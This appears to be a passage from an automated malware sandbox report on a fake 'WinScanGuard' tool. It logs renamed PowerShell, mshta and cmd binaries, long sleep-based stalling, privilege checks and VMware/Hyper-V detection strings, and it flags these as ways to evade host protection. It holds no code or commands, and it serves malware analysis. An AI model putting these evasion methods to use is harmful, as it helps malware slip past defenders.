Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Renames powershell.exe to bypass HIPS

Source: C:\Windows\System32\cmd.exe	File opened: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	File opened: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	File opened: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior

Powershell is started from unusual location (likely to bypass HIPS)

Source: c:\windows\$sxr-powershell.exe	Key value queried: Powershell behavior	Jump to behavior
Source: c:\users\user\desktop\winscanguard_v.2.1.bat.exe	Key value queried: Powershell behavior	Jump to behavior
Source: c:\windows\$sxr-powershell.exe	Key value queried: Powershell behavior

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe TID: 6220	Thread sleep count: 4099 > 30	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe TID: 6220	Thread sleep count: 5188 > 30	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe TID: 2124	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe TID: 6368	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe TID: 3020	Thread sleep count: 473 > 30
Source: C:\Windows\$sxr-powershell.exe TID: 5952	Thread sleep count: 114 > 30
Source: C:\Windows\System32\winlogon.exe TID: 1888	Thread sleep count: 5670 > 30
Source: C:\Windows\System32\winlogon.exe TID: 1888	Thread sleep time: -5670000s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 1888	Thread sleep count: 4325 > 30
Source: C:\Windows\System32\winlogon.exe TID: 1888	Thread sleep time: -4325000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 5904	Thread sleep count: 9971 > 30
Source: C:\Windows\System32\lsass.exe TID: 5904	Thread sleep time: -9971000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6464	Thread sleep count: 239 > 30
Source: C:\Windows\System32\svchost.exe TID: 6464	Thread sleep time: -239000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 664	Thread sleep count: 8323 > 30
Source: C:\Windows\System32\dwm.exe TID: 664	Thread sleep time: -8323000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 664	Thread sleep count: 1514 > 30
Source: C:\Windows\System32\dwm.exe TID: 664	Thread sleep time: -1514000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1612	Thread sleep count: 221 > 30
Source: C:\Windows\System32\svchost.exe TID: 1612	Thread sleep time: -221000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1440	Thread sleep count: 223 > 30
Source: C:\Windows\System32\svchost.exe TID: 1440	Thread sleep time: -223000s >= -30000s
Source: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe TID: 2088	Thread sleep time: -173000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5232	Thread sleep count: 217 > 30
Source: C:\Windows\System32\svchost.exe TID: 5232	Thread sleep time: -217000s >= -30000s
Source: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe TID: 1196	Thread sleep count: 160 > 30
Source: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe TID: 1196	Thread sleep time: -160000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3968	Thread sleep count: 246 > 30
Source: C:\Windows\System32\svchost.exe TID: 3968	Thread sleep time: -246000s >= -30000s
Source: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe TID: 7212	Thread sleep count: 98 > 30
Source: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe TID: 7212	Thread sleep time: -98000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe	Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dllhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Window / User API: threadDelayed 4099	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Window / User API: threadDelayed 5188	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Window / User API: threadDelayed 4621	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Window / User API: threadDelayed 3781	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Window / User API: threadDelayed 473
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 5670
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 4325
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 9971
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 8323
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 1514

Source: C:\Windows\SysWOW64\dllhost.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_23-614
Source: C:\Windows\System32\dllhost.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_22-228

Source: C:\Windows\$sxr-mshta.exe	API coverage: 8.5 %
Source: C:\Windows\$sxr-cmd.exe	API coverage: 7.7 %
Source: C:\Windows\$sxr-powershell.exe	API coverage: 1.6 %
Source: C:\Windows\System32\lsass.exe	API coverage: 7.5 %
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	API coverage: 6.3 %
Source: C:\Windows\System32\svchost.exe	API coverage: 3.4 %
Source: C:\Windows\System32\svchost.exe	API coverage: 8.0 %
Source: C:\Windows\System32\svchost.exe	API coverage: 3.9 %

Source: C:\Windows\$sxr-mshta.exe	Memory allocated: 1A00A030000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Memory allocated: 1A00A250000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Memory allocated: 1A00A590000 memory commit \| memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Memory allocated: 1A00A5E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\lsass.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\dwm.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\winlogon.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\dllhost.exe

API call chain: ExitProcess graph end node

graph_23-382

Source: C:\Windows\$sxr-mshta.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: Amcache.hve.10.dr	Binary or memory string: VMware
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual USB Mouse
Source: lsass.exe, 00000019.00000000.2046537814.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicvssNT SERVICE
Source: Amcache.hve.10.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.10.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.10.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.10.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.10.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.10.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.10.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: dwm.exe, 0000001E.00000002.2933213881.000002BAAA00C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000S
Source: Amcache.hve.10.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.10.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.10.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: lsass.exe, 00000019.00000002.2907841502.00000202BFC13000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046413873.00000202BFC13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001B.00000000.2053136281.000002A660613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2907025348.000002A660613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000024.00000002.2925839601.000001795302B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000024.00000000.2070795502.000001795302B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000000.2072742212.000002295CE2A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.2906025676.000002295CE2A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: svchost.exe, 0000001B.00000002.2907259329.000002A66062A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: lsass.exe, 00000019.00000000.2046537814.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicshutdownNT SERVICE
Source: Amcache.hve.10.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.10.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.10.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.10.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.10.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: lsass.exe, 00000019.00000002.2911011421.00000202C0379000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: Amcache.hve.10.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.10.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.10.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: svchost.exe, 0000001B.00000000.2053370128.000002A660662000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: svchost.exe, 00000026.00000002.2905390064.000002295CE00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: Amcache.hve.10.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.10.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: lsass.exe, 00000019.00000000.2046537814.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicheartbeatNT SERVICE
Source: Amcache.hve.10.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.10.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.10.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.10.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
